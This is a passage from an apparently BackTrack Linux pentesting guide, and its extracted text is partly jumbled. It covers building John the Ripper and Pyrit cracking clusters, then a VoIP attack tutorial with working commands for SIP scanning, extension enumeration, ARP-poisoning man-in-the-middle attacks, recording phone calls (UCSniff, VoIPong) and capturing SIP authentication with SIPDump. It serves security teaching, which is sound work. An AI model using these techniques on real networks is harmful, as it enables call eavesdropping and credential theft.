#1: #2: #3: #4: #5: #6: #7: #8:

'CUDA-Device #1 'GeForce 'CUDA-Device #2 'GeForce 'CUDA-Device #3 'GeForce 'CUDA-Device #4 'GeForce 'CUDA-Device #5 'GeForce 'CUDA-Device #6 'GeForce 'CPU-Core (SSE2)': 500.7 'CPU-Core (SSE2)': 508.9

GTX 295: 11558.7 GTX 295: 10912.5 GTX 295: 10632.1 GTX 295: 11654.7 GTX 295: 10868.9 GTX 295: 10322.8 PMKs/s (RTT 2.7) PMKs/s (RTT 2.8)

PMKs/s PMKs/s PMKs/s PMKs/s PMKs/s PMKs/s


3.0) 2.9) 3.0) 2.9) 2.9) 3.0)

Success! We can now use CUDA powered tools from within BackTrack.

Building a John the Ripper Cluster in Backtrack5 R2

In this tutorial we are going to build a cluster that will aid us in cracking hashes using John the Ripper. The first thing we want to do is install libssl-dev and mpich2 after which we configure it. (Note: secretword must be the same on each machine.)
apt-get install mpich2 libssl-dev touch /etc/mpd.conf chmod 600 /etc/mpd.conf echo "secretword=bt" >> /etc/mpd.conf touch mpd.hosts echo "" >> mpd.hosts chmod 600 mpd.hosts mpdboot mpdtrace mpdallexit

root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# bt root@bt:~#

Now we install the the MPI version of John the Ripper.

root@bt:~/Desktop# wget root@bt:~/Desktop# tar xvfz john- root@bt:~/Desktop/john- make clean linux-x86-sse2 root@bt:~# mv -f john- /pentest/passwords/john-mpi

After installing the MPI version of John the Ripper we configure our /etc/hosts file.

root@bt:~# nano /etc/hosts localhost server


# The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters ff02::3 ip6-allhosts

NOTE: Do the exact same thing on the client.

Once we have the server and the client setup it's time to enable our SSH server and transfer the configuration files from the server to the client.

root@bt:~# ssh root@ mkdir -p /root/.ssh root@bt:~# cat /root/.ssh/ | ssh root@ 'cat>>.ssh/authorized_keys' root@bt:~# scp /root/mpd.hosts root@ root@bt:~# scp /etc/mpd.conf root@ root@bt:~# scp /etc/hosts root@

If we start the cluster we should see our server and client.

root@bt:~# mpdboot -v --file=/root/mpd.hosts -n 2 running mpdallexit on bt LAUNCHED mpd on bt via RUNNING: mpd on bt LAUNCHED mpd on via bt2 RUNNING: mpd on

root@bt:~# mpdtrace bt bt2

Now let's test our cluster.

root@bt:~# echo "admin:21232f297a57a5a743894a0e4a801fc3" > /root/test root@bt:~# scp /root/test root@ root@bt:~# mpiexec -host -np 2 /pentest/passwords/johnmpi/run/john --format:raw-MD5 /root/test Loaded 1 password hash (Raw MD5 [raw-md5])

admin (admin) admin (admin) thread: 1 guesses: 1 time: 0:00:00:00 100% (1) admins thread: 0 guesses: 1 time: 0:00:00:00 100% (1) admins

c/s: 160 c/s: 133

trying: admin trying: admin -

Building a Pyrit Cluster Backtrack5 R2

In this tutorial we are going to build a cluster on Backtrack5 R2 using Pyrit. Pyrit comes installed by default on Backtrack5 R2. If you have removed it, simply use apt-get install to install it. The first step to creating a pyrit cluster is to create a configuration file.

root@bt:~# mkdir ~/.pyrit root@bt:~# nano ~/.pyrit/config root@bt:~# cat ~/.pyrit/config

default_storage = file:// limit_ncpus = 0 rpc_announce = true rpc_announce_broadcast = false rpc_knownclients = (This is the servers IP) rpc_server = true workunit_size = 75000

After having the above configuration file on all our machines, we start the server.

root@bt:~# pyrit serve

Now from the client you should be able to see both cores.

NOTE: The pyrit list_cores command has a bug that when used will crash the server.

We can test our newly built cluster using pyrit's benchmark option.

root@bt:~# pyrit benchmark

If we switch to the server while running the benchmark, we can see that currently one client is connected.

Penetration Testing VOIP with BackTrack

VoIP is an exciting technology which provides many benefits and cost effective solutions for communication. More and more small and enterprise businesses are replacing their old traditional telephony systems with an IP based ones. A VoIP based PBX can provide many features such as: Multiple Extensions, Caller ID, Voice mail, IVR capabilities, Recording of conversations, Logging, Usage with hardware based telephones or software based (aka

soft phones). Now days there are many vendors for PBX, IP telephones, VoIP services and equipment such as: CISCO, AVAYA and ASTERISK, SNOM, THOMSON With new technology comes a new challenge for both the defensive and offensive side of security, One of the great dangers of traditional phone lines was that it was susceptibl e to eavesdropping. The old school way to eavesdrop on somebodys phone line was to physically connect a small transmitter which was connected inside or outside their premises somewhere along the phone cord.

IP telephony systems are also susceptible to eavesdropping, doing so in an IP environment is a little bit more difficult to execute, detect and require more the knowledge and the right set of tools. In this article we wont discuss a particular vendor or technique but we will take a look at the concepts and the tools available for attacking VoIP available for us in Backtrack Linux. The main goal of this article is to present the tools and their purpose in order to help you choose the right tool for the right situation. We will examine some real world attack vectors and discover how BackTrack can assist us pentesting VoIP; we will also examine some of the tools which present in BackTrack and their usage.

Typical VoIP Topologies

There are several ways IP based telephony can be implemented, here are some common topologies and usage:

Self Hosted
A PBX (i.e. Asterisk) is installed at the client site and connected to an ISP or telephony service provider PSTN via a SIP Trunk/PRI, the VoIP traffic flows through a dedicated Vlan.

Visio diagram by Amir Avraham

Hosted Services
There is no need for a PBX at site. Just a switch, a router, IP phones and a connection to the service provider PBX via internet or IP/VPN connection, each phone is configured with SIP account information.

Online SIP Service

Services like provides an application for pc or smart phones and a free sip account, Offering low price for international calls and free calls between the service users by assigning a pone number to each subscriber.

SIP Basics
The SIP (Session Initiation Protocol) role is to setup, terminate or modify a voice or a video call where the voice and/or video traffic are being carried by a protocol like RTP (Real time transport Protocol). SIP is an application layer protocol which uses UDP for transport (TCP and SCTP can be used as well).

SIP usually uses ports 5060 TCP or UDP for unencrypted signaling or 5061 for encrypted transportation using TLS.

SIP is an ASCII based protocol which has some similar elements like in the HTTP protocol by using a Request/Response model. Much like an HTTP request from a browser a SIP client request is made using a SIP URI a user agent and a method/request. SIP uses e-mail like addresses format: user/phone@domain/ip A typical SIP URI looks like:
sip:205@, , sip:205@

According to the request made by the client a response will be received with a status or error code, the following tables describe the available requests and responses in the SIP protocol.

SIP Requests / Methods

Request INVITE ACK CANCEL REGISTER OPTIONS BYE Description Used to invite and account to participate in a call session. Acknowledge an INVITE request. Cancel a pending request. Register user with a SIP server. Lists information about the capabilities of a caller. Terminates a session between two users in a call. Indicates that the recipient(identified by the Request URI) REFER should contact a third party using the contact information provided in the request. The SUBSCRIBE method is used to request current state and SUBSCRIBE state updates from a remote node. The NOTIFY method is used to notify a SIP node that an event NOTIFY which has been requested by an earlier SUBSCRIBE method has occurred.

An Example SIP INVITE Request:

INVITE sip:201@ SIP/2.0 Via: SIP/2.0/UDP;rport;branch=z9hG4bKvbxaoqar Max-Forwards: 70 To: From: "NightRanger" ;tag=eihgg Call-ID: hfxsabthoymshub@backtrack CSeq: 649 INVITE Contact: Content-Type: application/sdp Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,PRACK,REFER,NOTIFY,SUBSCRIBE,INFO,MESSAGE Supported: replaces,norefersub,100rel User-Agent: Twinkle/1.2 Content-Length: 310

SIP Responses
Response Description Informational responses, Request received and being 1xx processed. Successful responses The action was successfully received, 2xx understood, and accepted. 3xx Redirection responses Request failure responses The request contains bad syntax or 4xx cannot be fulfilled at the server. Server failure responses The server failed to fulfill an 5xx apparently valid request.

Global failure responses The request cannot be fulfilled at any 6xx server.

An Example SIP Trying Response:

SIP/2.0 100 Trying Via: SIP/2.0/UDP;branch=z9hG4bKpmphujka;received=;rport=5060 From: "NIghtRanger" ;tag=eihgg To: Call-ID: hfxsabthoymshub@backtrack CSeq: 650 INVITE User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Supported: replaces Contact: Content-Length: 0

SIP Call Between 2 Phones Example

The calling phone sends an invite. The called phone sends back a response of 100 (Trying). The called phone then starts to ring and sends a response of 180 (Ringing). When the caller picks up the phone the called phone sends a response of 200 (OK). The calling phone sends an ACK response. Conversation begins via RTP. When the caller hangs up the phone a BYE request is sent. The calling phone responds with 200 (OK).

Attack Vectors
Before we get started with the tools lets have a look at some common VoIP attack vectors:

Information Gathering, Footprinting and Enumeration. Monitoring Traffic and eavesdropping Phone calls. Attacking Authentication.

VLAN Hopping. Denial of Service / Flooding. Spoofing Caller ID. In order to test the tools I have setup a TRIXBOX PBX System and created 6 extensions. I will be using two soft phones, 1 is Linux based client called Twinkle and the 2nd is a Windows based client called X-Lite. I will be using the latest and greatest release of Backtrack Linux which is R2. You can find Most of the VoIP attack tools in Backtrack under the /pentest/voip/ directory:
root@bt:~# cd /pentest/voip/ root@bt:/pentest/voip#

Or you can simply navigate using the KDE menu to the Backtrack Voice Over IP sub menus :

Information Gathering
This phase is where we gather information about the topology, servers and clients to learn as much information as we can in order to launch a successful attack. What we are interested in finding is live hosts, PBX type and version, VoIP servers/gateways, clients (hardware and software) types and versions etc Instead of enumerating usernames we will be enumerating SIP extensions. Lets take a look at some of the tools which available in Backtrack to help us find, identify and enumerate VoIP enabled devices.


Backtrack includes a great tool called SMAP which is a simple scanner for SIP enabled devices SMAP sends off various SIP requests awaiting responses from SIP enabled DSL router, proxies and user agents. It could be considered a mash up of NMAP and sipsak.

SMAP Usage:

root@bt:/pentest/voip/smap# ./smap smap 0.6.0

usage: smap [ Options ] -h: this help -d: increase debugging -o: enable fingerprinting -O: enable more verbose fingerprinting -l: fingerprint learning mode -t: TCP transport -u: UDP transport (default -P0: Treat all hosts as online - skip host discovery -p : destination port -r : messages per second rate limit -D : SIP domain to use without leading sip: -w : timeout in msec

Scanning a single host:

root@bt:/pentest/voip/smap# ./smap smap 0.6.0 ICMP reachable, SIP enabled 1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

Scanning a range of IP addresses:

root@bt:/pentest/voip/smap# ./smap smap 0.6.0 ICMP reachable, SIP enabled ICMP reachable, SIP enabled ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled ----EDIT-- ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled ICMP unreachable, SIP disabled 256 hosts scanned, 7 ICMP reachable, 2 SIP enabled (0.8%)

Now that we have identified sip enabled hosts we can use SMAP to fingerprint the server/client type and version:

root@bt:/pentest/voip/smap# ./smap -O smap 0.6.0 ICMP reachable, SIP enabled best guess (70% sure) fingerprint: Asterisk PBX SVN-trunk-r56579 User-Agent: Asterisk PBX 1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

In case SMAP could not fingerprint our host we use the l argument to put it in learning mode to provide some useful information:

root@bt:/pentest/voip/smap# ./smap -l smap 0.6.0

NOTICE: test_accept: "Accept: application/sdp" NOTICE: test_allow: "Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY" NOTICE: test_supported: "Supported: replaces" NOTICE: test_via: transport capitalization: 2 NOTICE: test_via: "branch;alias;received;rport" NOTICE: test_via: Please add new cmpstr NOTICE: test_via: transport capitalization: 2 ICMP reachable, SIP enabled best guess (70% sure) fingerprint: Asterisk PBX SVN-trunk-r56579 FINGERPRINT information: newmethod=501 accept_class=2 allow_class=201 supported_class=8 via_class=2 hoe_class=ignore options=200 brokenfromto=404 prack=481 ping=501 invite=200 User-Agent: Asterisk PBX 1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

Another useful feature of SMAP is the d argument which enables debug output for verbosity try to use the o along with it to view the fingerprinting process in details.

root@bt:/pentest/voip/smap# ./smap -d smap 0.6.0

DEBUG: local IP: DEBUG: local IP: DEBUG: bind() successful

DEBUG: RAW socket open DEBUG: moving 1 from S_START to S_PING DEBUG: ICMP error Echo Reply DEBUG: request: SIP OPTIONS request (valid) DEBUG: response belongs to task 1 ( DEBUG: ACK: ACK sip:localhost SIP/2.0 Via: SIP/2.0/UDP;branch=z9hG4bK.56689;alias;received=192.168. 1.105;rport=5060 From: ;tag=6b9ae50e67345d3b To: ;tag=as14262fec Call-ID: 1992951560@ CSeq: 23915 ACK Content-Length: 0 User-Agent: smap 0.6.0 --- end of ACK- ICMP reachable, SIP enabled DEBUG: destroying task 1

1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

SIPSAK is used for testing SIP enabled applications and devices using the OPTION request method only. We can use it to fingerprint and enumeration. You wont find sipsak in the /pentest/voip/ directory; you can execute it from any location by simply typing sipsak.
root@bt:~# sipsak sipsak 0.9.6 by Nils Ohlmeier Copyright (C) 2002-2004 FhG Fokus Copyright (C) 2004-2005 Nils Ohlmeier report bugs to shoot : trace : usrloc : z NUMBER] sipsak [-f FILE] [-L] -s SIPURI sipsak -T -s SIPURI sipsak -U [-I|M] [-b NUMBER] [-e NUMBER] [-x NUMBER] [-s SIPURI

usrloc : usrloc : message: flood : random :

sipsak sipsak sipsak sipsak sipsak


additional parameter in every mode: [-a PASSWORD] [-d] [-i] [-H HOSTNAME] [-l PORT] [-m NUMBER] [n] [-N] [-r PORT] [-v] [-V] [-w] -h -V -f FILE send -L -s SIPURI -T -U -I -M -C SIPURI -b NUMBER (default: 0) -e NUMBER name -o NUMBER -x NUMBER -z NUMBER -F -R -t NUMBER random mode -l -r -p -H -m -n -i -a PORT PORT HOSTNAME HOSTNAME NUMBER displays this help message prints version string only the file which contains the SIP message to use - for standard input de-activate CR (\r) insertion in files the destination server uri in form sip:[user@]servername[:port] activates the traceroute mode activates the usrloc mode simulates a successful calls with itself sends messages to itself use the given uri as Contact in REGISTER the starting number appendix to the user name the ending numer of the appendix to the user sleep number ms before sending next request the expires header field value (default: 15) activates randomly removing of user bindings activates the flood mode activates the random modues (dangerous) the maximum number of trashed character in (default: request length) the local port to use (default: any) the remote port to use (default: 5060) request target (outbound proxy) overwrites the local hostname in all headers the value for the max-forwards header field use FQDN instead of IPs in the Via-Line deactivate the insertion of a Via-Line password for authentication (if omitted password="") Authentication username ignore redirects each v produces more verbosity (max. 3)


-u STRING -d -v


extract IP from the warning in reply replacement for a special mark in the message activates replacement of variables returns exit codes Nagios compliant search for a RegExp in replies and return on failure return Nagios warning if retrans > number send a message with string as body Content-Disposition value Number of processes to start number of test runs and print just timings use same port for receiving and sending use the given uri as From in MESSAGE timeout multiplier for INVITE transactions and reliable transports (default: 64) specify transport to be used adds additional headers to the request


Here is an example for using sipsak to fingerprint a sip enabled device We can see in the result that the device we queried is an Audiocodes MP-114 FXS gateway.

root@bt:~# sipsak -vv -s sip: message received: SIP/2.0 200 OK Via: SIP/2.0/UDP;branch=z9hG4bK.18a1b21f;rport;alias From: sip:sipsak@;tag=97ac9e5 To: sip:;tag=1c1785761661 Call-ID: 159042021@ CSeq: 1 OPTIONS Contact: Supported: em,100rel,timer,replaces,path,resource-priority Allow: REGISTER,OPTIONS,INVITE,ACK,CANCEL,BYE,NOTIFY,PRACK,REFER,INFO,SU BSCRIBE,UPDATE Server: Audiocodes-Sip-Gateway-MP-114 FXS/v.5.40A.040.005 X-Resources: telchs=4/0;mediachs=0/0 Accept: application/sdp, application/simple-message-summary, message/sipfrag Content-Type: application/sdp

Content-Length: 343 v=0 o=AudiocodesGW 1785763980 1785763858 IN IP4 s=Phone-Call c=IN IP4 t=0 0 m=audio 6000 RTP/AVP 18 8 0 127 a=rtpmap:18 G729/8000 a=fmtp:18 annexb=no a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:127 telephone-event/8000 a=fmtp:127 0-15 a=ptime:20 a=sendrecv a=rtcp:6001 IN IP4

** reply received after 67.923 ms ** SIP/2.0 200 OK final received

Sip-scan is a simple scanner for sip enabled hosts it can scan a single host or an entire subnet.

Sip-scan usage:

root@bt:/pentest/voip/sipscan# ./sip-scan --help ./sip-scan version [unknown] calling Getopt::Std::getopts (version 1.05), running under Perl version 5.10.0. Usage: sip-scan [options] -v -i -p -l -d 'p' Be verbose. Interface/IP for SIP-headers (default: IP from ppp0) remote port to scan. (default: 5060) local origin of packets. (default: 5060) Wait n ms after each sent packet (default: 50ms) or if given, send n packets per second (default: 20)

ip|if port port n[p] is

-w n

Wait n ms for remaining answers (default: 2000ms)

Network spec contains the wildcard * or ranges n-m.

Scanning a subnet:

root@bt:/pentest/voip/sipscan# ./sip-scan -i eth0 Grandstream HT-502 V1.2A Grandstream HT-502 V1.2A Asterisk PBX Asterisk PBX FreeSWITCH-mod_sofia/1.0.trunk-16055 Grandstream HT-502 V1.2A Asterisk PBX "Exelmind Call-Control Switch (CCS)" MailVision HostLynx/2.1 'GA'

SVMAP is a part of a suite of tools called SIPVicious and its my favorite scanner of choice It can be used to scan identify and fingerprint a single IP or a range of IP addresses. Svmap allows specifying the request method which is being used for scanning, the default method is OPTIONS, it offers debug and verbosity options and even allows scanning the SRV records for SIP on the destination domain. You can use the ./svmap h in order to view all the available arguments
root@bt:/pentest/voip/sipvicious# ./ Usage: [options] host1 host2 hostrange examples: \ > \ > 1.1.2-20.* 4.1.*.* -s session1 --randomize --resume session1 -v -p5060-5062 -m INVITE

Scanning an IP range:

root@bt:/pentest/voip/sipvicious# ./ | SIP Device | User Agent | Fingerprint | ---------------------------------------------------| | Asterisk PBX | disabled | | | Twinkle/1.4.2 | disabled |

Enabling fingerprinting scanning

root@bt:/pentest/voip/sipvicious# ./ --fp

Extensions Enumeration
Extension enumeration can aid an attacker by finding valid extensions on a VoIP system which later can lead to a brute force attack on the SIP accounts. Extension enumeration works by examining errors returned by a sip requests methods like REGISTER, OPTIONS and INVITE

Svwar is also a tool from the sipvicious suite allows to enumerate extensions by using a range of extensions or using a dictionary file svwar supports all the of the three extension enumeration methods as mentioned above, the default method for enumeration is REGISTER. Usage:

root@bt:/pentest/voip/sipvicious# ./ Usage: [options] target examples: -e100-999 -d dictionary.txt


root@bt:/pentest/voip/sipvicious# ./ -e100-400 | Extension | Authentication | -----------------------------| 201 | reqauth | | 200 | reqauth | | 203 | reqauth | | 202 | reqauth | | 303 | reqauth | | 305 | reqauth |

Svwar has identified all the extensions Ive created on my Trixbox server. You can specify another sip method by using the m argument, you can also add t v or vv for verbosity.

root@bt:/pentest/voip/sipvicious# ./ -e100-400 -m INVITE -v INFO:TakeASip:trying to get self ip .. might take a while INFO:root:start your engines INFO:TakeASip:Ok SIP device found INFO:TakeASip:extension '200' exists - requires authentication INFO:TakeASip:extension '201' exists - requires authentication -----Edit---INFO:TakeASip:extension '203' exists - requires authentication INFO:TakeASip:extension '303' exists - requires authentication INFO:TakeASip:extension '303' exists - requires authentication INFO:TakeASip:extension '305' exists - requires authentication INFO:root:we have 6 extensions | Extension | Authentication | -----------------------------| 201 | reqauth | | 200 | reqauth | | 203 | reqauth | | 202 | reqauth | | 303 | reqauth | | 305 | reqauth | INFO:root:Total time: 0:00:21.944731

Enumiax is used to enumerate Asterisk Exchange protocol usernames. It allows for a dictionary attack or a sequential Username Guessing
root@bt:/pentest/voip/enumiax# ./enumiax enumIAX 1.0 Dustin D. Trammell Usage: enumiax [options] target options: -d Dictionary attack using file -i Interval for auto-save (# of operations, default 1000) -m # Minimum username length (in characters) -M # Maximum username length (in characters) -r # Rate-limit calls (in microseconds) -s Read session state from state file

-v verbosity) -V -h

Increase verbosity (repeat for additional Print version information and exit Print help/usage information and exit

root@bt:/pentest/voip/enumiax# ./enumiax -v -m3 -M3 enumIAX 1.0 Dustin D. Trammell Target Aquired: Connecting to via udp on port 4569... Starting enum process at: Sat Feb 5 13:04:18 2011 Now working on 3 character usernames... ################################# Trying username: "000" ################################# Trying username: "001" ################################# Trying username: "002" ################################# Trying username: "003" ################################# Trying username: "004" ################################# Trying username: "005" ################################# Trying username: "006" ################################# Trying username: "007" ################################# Trying username: "008" ################################# ... root@bt:/pentest/voip/enumiax# ./enumiax -d dict -v enumIAX 1.0 Dustin D. Trammell Target Aquired: Connecting to via udp on port 4569... Starting enum process at: Sat Feb 5 13:02:39 2011 ################################# Trying username: "guest" ################################# Trying username: "iaxtel" ################################# Trying username: "iaxtel2" #################################

Trying username: "100" ################################# Trying username: "101" ################################# Trying username: "200" ################################# Trying username: "201" ################################# Trying username: "202" ################################# Trying username: "203" End of dictionary file reached, exiting.

Monitoring Traffic and Eavesdropping Phone calls

Monitoring VoIP traffic can allow an attacker capture SIP requests and RTP data sent from clients to server and back. It can serve two attack vectors:

Capturing SIP authentication (we will later discuss this topic in the attacking authentication section). Eavesdropping users phone calls. For demonstration purposes we will use the following scenario:

For this attack vector we will need to perform a Man in The Middle Attack which will require the following steps:

Arp poisoning/spoofing Sniffing traffic Decoding RTP data to an audio file.

Arp Poisoning using Arpspoof

Before we can begin to sniff traffic we will need to arp poison our switch/gateway, well be using a tool called Arpspoof which is located in /usr/sbin/Arpspoof folder in Backtrack, in fact you can

just invoke it from anywhere by typing: arpspoof Before we can use arpspoof we will need to enable IP forwarding:
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Arpspoof syntax should look as follows:

root@bt:~# arpspoof Version: 2.4 Usage: arpspoof [-i interface] [-t target] host

For a successful MITM attack we will need to spoof both ways:

arpspoof t victim gateway arpspoof t gateway victim

We will let our Arp poisoning run in the background while performing a capture using Wireshark.

Capturing traffic and Eavesdropping using Wireshark

Now lets fire up Wireshark to capture some traffic. We will use the following Wireshark capture filter:
not broadcast and not multicast and host

Now lets start capturing some traffic While sniffing for traffic User B has launched the X-Lite soft phone on his desktop computer and dialed to user A extension 200.

Wireshark has captured some traffic, after a while I have stopped the capture process and saved the sessions into a file called sip.pcap.

We can see that we have captured the SIP traffic but for this section we are more interested in the RTP traffic because it contains the actual conversation data.

Wireshark has a pretty cool feature to decode captured VoIP calls data into playable audio format You can find this feature under the Statistics -> VoIP Calls menu.

VoIPong is a utility which detects all Voice over IP calls on a pipeline, and for those which are G711 encoded, dumps actual conversation to separate wave files. It supports SIP, H323, Cisco's Skinny Client Protocol, RTP and RTCP. VoIPong is located in Backtrack /pentest/voip/voipong directory Before we can use VoIPong we will need to make some changes to the voipong.conf file:
root@bt:/pentest/voip/voipong# nano etc/voipong.conf soxpath = /usr/bin/sox networksfile = /pentest/voip/voipong/etc/voipongnets outdir = /pentest/voip/voipong/output/ device = eth0 # your network interface card name

Now we can start VoIPong to capture some VoIP conversations

root@bt:/pentest/voip/voipong# ./voipong -c etc/voipong.conf -d4 -f

Once VoIPong detects a phone call it will start capture it once it finish VoIPong will stop the capture process and will render it to a playable wave file. All conversation will be saved into the /pentest/voip/voipong/output folder

Playing the file:

Vomit converts a Cisco IP phone RTP conversation into a wave file that can be played with ordinary sound players. Vomit requires a tcpdump output file. In order to get vomit up and running we will need to download and install waveplay Get it here: lay-20010924.tar.gz.5731.html
root@bt:~# tar -xzvf waveplay-20010924.tar.gz waveplay-20010924/ waveplay-20010924/Makefile waveplay-20010924/waveplay.c waveplay-20010924/waveplay.ja.1 waveplay-20010924/wavefmt.h waveplay-20010924/README waveplay-20010924/waveplay.1 waveplay-20010924/ root@bt:~# cd waveplay-20010924 root@bt:~/waveplay-20010924# make cc -c -o waveplay.o waveplay.c cc waveplay.o -o waveplay root@bt:~/waveplay-20010924# cp waveplay /usr/bin/ root@bt:/pentest/voip/vomit# ./vomit-r sip.dump | waveplay -S8000 -B16 -C1

UCSniff is a VoIP & IP Video Security Assessment tool that integrates existing open source software into several useful features, allowing VoIP and IP Video owners and security professionals to rapidly test for the threat of unauthorized VoIP and Video Eavesdropping. UCSniff supports Arp poisoning, VLAN Hopping, VLAN Discovery via CDP, it has a sniffer capabilities and more I consider it as an all in one eavesdropping tool. Lets take a look at some usage examples: UCSniff can operate in 2 modes

Monitor mode Should be used on a shared media where the IP phones connected to i.e : a HUB, wireless access point, it can be also be used in a switched environment by setting up a SPAN sessions on a Cisco switch.

Man in the middle mode This mode has 2 additional modes which are

Learning Mode Targeted Mode Preparing UCSniff so we can run it from any location in backtrack:
root@bt:/tmp# cd /pentest/voip/ucsniff/ root@bt:/pentest/voip/ucsniff# ./configure root@bt:/pentest/voip/ucsniff# make root@bt:/pentest/voip/ucsniff# make install

Monitor Mode Usage

root@bt:/tmp/ucsniff# ucsniff -i eth0 -M UCSniff 2.1 starting Running in Monitor Mode File directory-users.txt can't be opened for reading in working directory File targets.txt can't be opened for reading in working directory Listening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 Starting Unified sniffing... Warning: Please ensure that you hit 'q' when you are finished with this program. Warning: 'q' re-ARPs the victims. Failure to do so before program exit will result in a DoS. SIP Call in progress. (extension 200, ip calling (extension 201, ip SIP Call in progress. (extension 200, ip calling (extension 201, ip

SIP Call ended. Conversation recorded in file '200Calling-201-5:2:7-3-both.wav' SIP Call ended. Conversation recorded in file '200Calling-201-5:2:8-2-both.wav' Closing text interface... Unified sniffing was stopped.

We can stop the sessions by pressing on the Q key. Several files were created by UCSniff: Log files Contains detailed information about sip transactions Pcap files capture file which can be viewed in wireshark audio wav files conversation audio files
root@bt:/tmp/ucsniff# ls -l total 376 -rw-r--r-- 1 root root 40854 Calling-201-5:2:7-3-both.wav -rw-r--r-- 1 root root 115818 Calling-201-5:2:7-3.pcap -rw-r--r-- 1 root root 46294 Calling-201-5:2:8-2-both.wav -rw-r--r-- 1 root root 103940 Calling-201-5:2:8-2.pcap -rw-r--r-- 1 root root 278 call_detail_log -rw-r--r-- 1 root root 317 -rw-r--r-- 1 root root 10063 -rw-r--r-- 1 root root 39073 sipdump.pcap -rw-r--r-- 1 root root 0

Feb Feb Feb Feb Feb Feb Feb Feb Feb

5 05:02 2005 05:02 2005 05:02 2005 05:02 2005 05:02 5 05:02 call_log 5 05:02 sip.log 5 05:02 5 05:01 skinny_log

MITM Learning Mode Usage

This mode uses a signaling protocol (SIP, Skinny) to map extensions to an IP Addresses. You can customize the targets to only intercept specific IP Addresses or Networks. In the following example we assume we are on the VoIP VLAN UCSniff will Arp poison all hosts on the subnet.

root@bt:/tmp/ucsniff# ucsniff -i eth0 // // UCSniff 2.1 starting Listening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Mapped new target entry: (IP: --> extension 201 and name:Mapped new target entry: (IP: --> extension 200 and name: SIP Call in progress. (extension 201, ip calling (extension 200, ip SIP Call ended. Conversation recorded in file '201Calling-200-5:13:4-2-both.wav' Closing text interface... ARP poisoner deactivated. RE-ARPing the victims... Unified sniffing was stopped.

If we take a look at UCSniff log files we can see the discovered targets used in the attack.

root@bt:/tmp/ucsniff# cat targets.txt,201,,sip,200,,sip

MITM Target Mode

Target Mode enables Eavesdropping at a layer higher than just random audio streams or the IP address of phones for which you don't know the extension. This mode has 2 sub modes: Targeted User Targeted Conversation We can add targets

manually to the targets.txt file in the following format: x.x.x.x,extension,,sip,201,,sip Or use learning mode to auto discover hosts
root@bt:/tmp/ucsniff# ucsniff -i eth0 -T UCSniff 2.1 starting File targets.txt can't be opened for reading in working directory No targets have been previously discovered in Targets file, targets.txt Please run UCSniff in learning mode, or manually edit targets.txt

Once a valid targets.txt file is found you will be asked to choose an eavesdropping mode:

root@bt:/tmp/ucsniff# ucsniff -i eth0 -T UCSniff 2.1 starting Parsed 2 entries in Targets file, targets.txt UCSniff running in target mode. Parsed 2 previously discovered targets Please select a Targeted Eavesdropping Mode: 1. User Description: Eavesdrop on all calls to or from a particular endpoint. 2. Conversation Description: Eavesdrop on bi-directional conversation flows between two selected endpoints. Please select option (1) or (2):

Selecting "User" tells the tool to intercept all traffic between the one Target, and the rest of the network.

In "Conversation", two endpoints are selected and the network is ARP Poisoned to only intercept the traffic between those two users.

UCSniff includes more useful tools and attacks modes like VLAN hopping (using ACE) which will be discussed later.


Although Xplico is not in the Backtrack voip tools directory, it is a very useful tool for capturing SIP and RTP traffic (among other protocols). Xplico can be found in the Backtrack -> Digital Forensics -> Forensic Analysis menu

In case it is not present on your Backtrack installation you can simply install it by issuing the following command:
root@bt:~# apt-get install xplico

Xplico can be used to capture live traffic or import a Wireshark PCAP capture file. Either way Xplico will decode the captured packets and will assemble them into the appropriate format In our case it will be SIP and RTP. After executing Xplico you will be asked to login, the default username and password are: xplico

Once we have successfully logged in to Xplico we will need to create a case

We will be asked to choose between a live capture or to import a PCAP file In this example we will use Xplico to perform a live capture (we will Arp poison our targets in the background using arpspoof). Now we will have to choose our case and create a new session

By choosing our newly created session we will see our main statistics page with the option to choose our network adapter and start/stop the capture process.

Here is an example for captured SIP traffic:

An example for RTP decoded traffic:

Capturing SIP Authentication using SIPDump

SIPDump is a part of the SIPCrack tools suite, it allows performing a live capture of SIP authentication digest response or it can dump a previously captured sessions from a PCAP file. SIPDump Usage:
root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 SIPdump 0.3 ( MaJoMu | ) --------------------------------------Usage: sipdump [OPTIONS] = file where captured logins will be written to Options: -i = interface to listen on -p = use pcap data file -m = enter login data manually -f "" = set libpcap filter * You need to specify dump file

Live capture using SIPDump:

root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 auth.txt SIPdump 0.3 ( MaJoMu | ) --------------------------------------* Using dev 'eth0' for sniffing * Starting to sniff with packet filter 'tcp or udp or vlan' * Dumped login from -> (User: '200') * Dumped login from -> (User: '200') * Dumped login from -> (User: '200')

Dumping authentication data from a PCAP file

root@bt:/pentest/voip/sipcrack# ./sipdump -p /root/registration.pcap auth.txt SIPdump 0.3 ( MaJoMu | ) --------------------------------------* Using pcap file '/root/registration.pcap' for sniffing * Starting to sniff with packet filter 'tcp or udp or vlan' * Dumped login from -> (User: '200') * Exiting, sniffed 1 logins

